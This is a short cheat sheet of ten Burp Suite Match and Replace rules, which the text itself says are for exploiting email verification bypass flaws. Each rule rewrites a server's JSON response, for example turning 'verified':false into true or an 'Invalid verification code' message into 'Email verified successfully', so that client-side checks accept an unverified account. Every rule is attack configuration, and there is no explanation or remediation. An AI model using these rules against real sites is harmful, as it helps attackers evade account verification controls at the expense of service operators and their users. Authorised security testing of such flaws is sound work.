Email Verification Bypass Examples
Use these Burp Suite Match and Replace rules to exploit email verification bypass vulnerabilities:
1. Verification Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"verified\":false",
"string_replace": "\"verified\":true"
}
// This rule bypasses email verification
// Example: "verified":false becomes "verified":true
2. Email Verified Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"email_verified\":false",
"string_replace": "\"email_verified\":true"
}
// This rule bypasses email verification status
// Example: "email_verified":false becomes "email_verified":true
3. Verification Status Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"verification_status\":\"unverified\"",
"string_replace": "\"verification_status\":\"verified\""
}
// This rule bypasses verification status
// Example: "verification_status":"unverified" becomes "verification_status":"verified"
4. Status Success Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"status\":\"error\"",
"string_replace": "\"status\":\"success\""
}
// This rule bypasses status errors
// Example: "status":"error" becomes "status":"success"
5. Message Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"message\":\"Invalid verification code\"",
"string_replace": "\"message\":\"Email verified successfully\""
}
// This rule bypasses error messages
// Example: "message":"Invalid verification code" becomes "message":"Email verified successfully"
6. Verification Sent Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"verification_sent\":false",
"string_replace": "\"verification_sent\":true"
}
// This rule bypasses verification sent status
// Example: "verification_sent":false becomes "verification_sent":true
7. Code Validation Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"code_valid\":false",
"string_replace": "\"code_valid\":true"
}
// This rule bypasses code validation
// Example: "code_valid":false becomes "code_valid":true
8. Email Status Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"email_status\":\"unverified\"",
"string_replace": "\"email_status\":\"verified\""
}
// This rule bypasses email status
// Example: "email_status":"unverified" becomes "email_status":"verified"
9. Verification Code Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"code_verified\":false",
"string_replace": "\"code_verified\":true"
}
// This rule bypasses code verification
// Example: "code_verified":false becomes "code_verified":true
10. Email Confirmation Bypass:
{
"comment": "Response Manipulation",
"enabled": true,
"is_simple_match": false,
"rule_type": "response_body",
"string_match": "\"email_confirmed\":false",
"string_replace": "\"email_confirmed\":true"
}
// This rule bypasses email confirmation
// Example: "email_confirmed":false becomes "email_confirmed":true